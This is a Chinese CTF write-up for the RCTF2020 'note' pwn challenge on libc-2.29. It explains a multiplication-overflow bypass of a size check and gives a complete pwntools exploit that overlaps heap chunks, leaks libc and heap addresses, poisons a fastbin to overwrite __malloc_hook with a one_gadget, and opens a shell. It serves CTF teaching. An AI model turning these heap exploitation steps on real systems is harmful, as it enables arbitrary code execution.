[BMZTCF-pwn] 46-rctf2020-note

libc-2.29 calloc建块,有两个后门一个可多写8字节一个可多写0x20字节

前边有个小冒,建块时需要money作size,由于用的是无符号数,不能直接用负数绕过,但由于他用了乘法,可以用乘法溢出:

if ( 857 * size > (unsigned __int64)qword_4010 )return puts("You don't have enough money!");

当size*857=A时,只要A的前半部分超过64位,后半部门很小就能绕过,这里直接用一个刚溢出的数除以857再加1就是第一个溢出后部最小的数。

((1<<64))//857+1

解题思路:

  1. 先利用后门写溢出修改块头形成overlap得到libc和堆地址
  2. 释放0x60的块到fastbin进行fastbinattack得到malloc_hook-0x23,写入one和realloc+n调栈

完整的:

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 1
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 25491) 

    libc_elf = ELF('/home/shi/libc6_2.29-0ubuntu2/lib/x86_64-linux-gnu/libc-2.29.so')
    one = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
    libc_start_main_ret = 0x26b6b

menu = b"Choice: "
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())   

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Message: ", msg)

def backdoor(msg):
    p.sendlineafter(menu, b'6')
    p.sendafter(b"Give a super name: ", msg) #0x58 <- 0x60

def pwn(one_idx, one_off):
    #get money 
    add(0, ((1<<64))//857+1)
    free(0)
    
    add(0, 0x50) #backdoor
    add(1, 0x60) 
    add(2, 0x250) #6=2
    add(3, 0x250) #7=3
    add(4, 0x60)  #8=4
    add(5, 0x60)
    
    free(0)
    backdoor(b'A'*0x58+p64(0x70+0x260+0x260+0x70+1)[:-2] + b'\n')
    free(1)
    add(1, 0x60)
    add(6, 0x250)
    show(3)
    libc_base = u64(p.recv(8)) - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    one_gadget = libc_base + one[one_idx]
    print('libc:', hex(libc_base))
    
    add(7, 0x250) #7==3
    add(8, 0x60)  #8==4
    free(7)
    free(6)
    show(2)
    p.recv(8)
    heap_addr = u64(p.recv(8)) 
    print('heap:', hex(heap_addr))

    for i in range(7):
        add(6, 0x60)
        free(6)
    free(5)
    free(8)
    
    
    edit(4, p64(libc_elf.sym['__malloc_hook'] - 0x23) + b'\n')
    add(6, 0x60)


    add(7, 0x60)
    edit(7, b'\x00'*(3+8)+ p64(one_gadget) + p64(libc_elf.sym['realloc']+ one_off) + b'\n')

    add(9, 0x60)
    sleep(0.1) 
    p.sendline(b'cat /flag')
    tmp = p.recv( timeout=0.2)
    print(tmp)
    if b'{' not in tmp:
        raise('xxx')

    p.interactive()

connect()
pwn(5,8)
'''
for i in range(6):
    for j in [0,2,4,8,9,10,13]:
        try:
            print('[',i,']+',j)
            connect()
            pwn(i,j) #0,2,4,6,8,9,10,13
        except KeyboardInterrupt as e:
            exit()
        except:
            p.close()

'''

你可能感兴趣的:(CTF,pwn,安全,pwn)